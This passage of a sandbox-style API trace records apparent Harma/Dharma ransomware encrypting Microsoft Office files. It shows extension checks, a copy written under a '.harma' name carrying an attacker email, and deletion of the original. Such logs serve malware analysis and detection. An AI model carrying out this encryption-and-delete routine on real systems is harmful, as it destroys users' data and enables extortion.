(lpString=".doc") returned 4 [0149.314] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString=".docx") returned 5 [0149.314] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0149.314] lstrlenW (lpString=".pdf") returned 4 [0149.314] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString=".xls") returned 4 [0149.314] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString=".xlsx") returned 5 [0149.314] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0149.314] lstrlenW (lpString=".ppt") returned 4 [0149.314] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.314] lstrlenW (lpString=".zip") returned 4 [0149.315] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.315] lstrlenW (lpString=".rar") returned 4 [0149.315] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.315] lstrlenW (lpString=".bz2") returned 4 [0149.315] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.315] lstrlenW (lpString=".7z") returned 3 [0149.315] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.315] lstrlenW (lpString=".dbf") returned 4 [0149.315] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.315] lstrlenW (lpString=".1cd") returned 4 [0149.315] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0149.315] lstrlenW (lpString=".jpg") returned 4 [0149.315] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.315] lstrcmpiW (lpString1=".MMW", lpString2=".harma") returned 1 [0149.315] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0149.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.316] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=492624) returned 1 [0149.316] CloseHandle (hObject=0x20c) returned 1 [0149.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0149.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0149.316] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.316] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0149.317] GetLastError () returned 0x0 [0149.317] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x78450, lpOverlapped=0x0) returned 1 [0149.329] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x78460, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x78460, lpOverlapped=0x0) returned 1 [0149.339] ReadFile (in: hFile=0x20c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0149.339] WriteFile (in: hFile=0x2e8, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.339] SetEndOfFile (hFile=0x2e8) returned 1 [0149.339] CloseHandle (hObject=0x2e8) returned 1 [0149.340] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.340] SetEndOfFile (hFile=0x20c) returned 1 [0149.351] CloseHandle (hObject=0x20c) returned 1 [0149.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.352] lstrlenW (lpString=".doc") returned 4 [0149.352] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0149.352] lstrlenW (lpString=".docx") returned 5 [0149.352] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0149.352] lstrlenW (lpString=".pdf") returned 4 [0149.352] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0149.352] lstrlenW (lpString=".xls") returned 4 [0149.352] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0149.352] lstrlenW (lpString=".xlsx") returned 5 [0149.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0149.352] lstrlenW (lpString=".ppt") returned 4 [0149.352] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0149.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.352] lstrlenW (lpString=".zip") returned 4 [0149.352] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0149.352] lstrlenW (lpString=".rar") returned 4 [0149.352] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0149.352] lstrlenW (lpString=".bz2") returned 4 [0149.353] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0149.353] lstrlenW (lpString=".7z") returned 3 [0149.353] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0149.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.353] lstrlenW (lpString=".dbf") returned 4 [0149.353] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0149.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.353] lstrlenW (lpString=".1cd") returned 4 [0149.353] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0149.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.353] lstrlenW (lpString=".jpg") returned 4 [0149.353] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0149.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.353] lstrlenW (lpString=".doc") returned 4 [0149.353] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0149.353] lstrlenW (lpString=".docx") returned 5 [0149.353] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0149.366] lstrlenW (lpString=".pdf") returned 4 [0149.366] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0149.366] lstrlenW (lpString=".xls") returned 4 [0149.366] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0149.366] lstrlenW (lpString=".xlsx") returned 5 [0149.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0149.366] lstrlenW (lpString=".ppt") returned 4 [0149.366] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0149.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.366] lstrlenW (lpString=".zip") returned 4 [0149.367] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0149.367] lstrlenW (lpString=".rar") returned 4 [0149.367] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0149.367] lstrlenW (lpString=".bz2") returned 4 [0149.367] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0149.367] lstrlenW (lpString=".7z") returned 3 [0149.367] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0149.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.367] lstrlenW (lpString=".dbf") returned 4 [0149.367] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0149.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.367] lstrlenW (lpString=".1cd") returned 4 [0149.367] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0149.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0149.367] lstrlenW (lpString=".jpg") returned 4 [0149.367] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0149.367] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0149.367] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0149.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.559] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=21424) returned 1 [0149.560] CloseHandle (hObject=0x334) returned 1 [0149.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0149.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.560] lstrlenW (lpString=".doc") returned 4 [0149.560] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.560] lstrlenW (lpString=".docx") returned 5 [0149.560] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0149.560] lstrlenW (lpString=".pdf") returned 4 [0149.560] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.560] lstrlenW (lpString=".xls") returned 4 [0149.560] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.560] lstrlenW (lpString=".xlsx") returned 5 [0149.560] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0149.560] lstrlenW (lpString=".ppt") returned 4 [0149.560] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.560] lstrlenW (lpString=".zip") returned 4 [0149.560] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.560] lstrlenW (lpString=".rar") returned 4 [0149.561] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString=".bz2") returned 4 [0149.561] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.561] lstrlenW (lpString=".7z") returned 3 [0149.561] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString=".dbf") returned 4 [0149.561] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString=".1cd") returned 4 [0149.561] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString=".jpg") returned 4 [0149.561] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString=".doc") returned 4 [0149.561] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString=".docx") returned 5 [0149.561] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0149.561] lstrlenW (lpString=".pdf") returned 4 [0149.561] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString=".xls") returned 4 [0149.561] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString=".xlsx") returned 5 [0149.561] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0149.561] lstrlenW (lpString=".ppt") returned 4 [0149.561] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.561] lstrlenW (lpString=".zip") returned 4 [0149.561] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.561] lstrlenW (lpString=".rar") returned 4 [0149.562] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.562] lstrlenW (lpString=".bz2") returned 4 [0149.562] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.562] lstrlenW (lpString=".7z") returned 3 [0149.562] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.562] lstrlenW (lpString=".dbf") returned 4 [0149.562] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.562] lstrlenW (lpString=".1cd") returned 4 [0149.562] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0149.562] lstrlenW (lpString=".jpg") returned 4 [0149.562] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.562] lstrcmpiW (lpString1=".ACC", lpString2=".harma") returned -1 [0149.562] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0149.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.563] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=495616) returned 1 [0149.563] CloseHandle (hObject=0x334) returned 1 [0149.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0149.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.563] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.563] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0149.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0150.361] GetLastError () returned 0x0 [0150.361] ReadFile (in: hFile=0x334, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x79000, lpOverlapped=0x0) returned 1 [0150.427] WriteFile (in: hFile=0x328, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x79010, lpOverlapped=0x0) returned 1 [0150.436] ReadFile (in: hFile=0x334, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.436] WriteFile (in: hFile=0x328, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.436] SetEndOfFile (hFile=0x328) returned 1 [0150.436] CloseHandle (hObject=0x328) returned 1 [0150.436] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.436] SetEndOfFile (hFile=0x334) returned 1 [0150.448] CloseHandle (hObject=0x334) returned 1 [0150.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1 [0150.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.449] lstrlenW (lpString=".doc") returned 4 [0150.449] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0150.449] lstrlenW (lpString=".docx") returned 5 [0150.449] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0150.449] lstrlenW (lpString=".pdf") returned 4 [0150.449] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0150.449] lstrlenW (lpString=".xls") returned 4 [0150.449] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0150.449] lstrlenW (lpString=".xlsx") returned 5 [0150.449] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0150.449] lstrlenW (lpString=".ppt") returned 4 [0150.449] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString=".zip") returned 4 [0150.450] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".rar") returned 4 [0150.450] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".bz2") returned 4 [0150.450] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".7z") returned 3 [0150.450] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString=".dbf") returned 4 [0150.450] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString=".1cd") returned 4 [0150.450] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString=".jpg") returned 4 [0150.450] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.450] lstrlenW (lpString=".doc") returned 4 [0150.450] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".docx") returned 5 [0150.450] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0150.450] lstrlenW (lpString=".pdf") returned 4 [0150.450] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".xls") returned 4 [0150.450] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0150.450] lstrlenW (lpString=".xlsx") returned 5 [0150.450] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0150.450] lstrlenW (lpString=".ppt") returned 4 [0150.451] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0150.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.451] lstrlenW (lpString=".zip") returned 4 [0150.451] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0150.451] lstrlenW (lpString=".rar") returned 4 [0150.451] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0150.451] lstrlenW (lpString=".bz2") returned 4 [0150.451] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0150.451] lstrlenW (lpString=".7z") returned 3 [0150.451] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0150.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.451] lstrlenW (lpString=".dbf") returned 4 [0150.451] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0150.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.451] lstrlenW (lpString=".1cd") returned 4 [0150.451] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0150.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0150.451] lstrlenW (lpString=".jpg") returned 4 [0150.451] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0150.451] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0150.451] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0150.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.471] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=16256) returned 1 [0150.471] CloseHandle (hObject=0x360) returned 1 [0150.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0150.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0150.499] lstrlenW (lpString=".doc") returned 4 [0150.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.520] lstrlenW (lpString=".docx") returned 5 [0150.520] 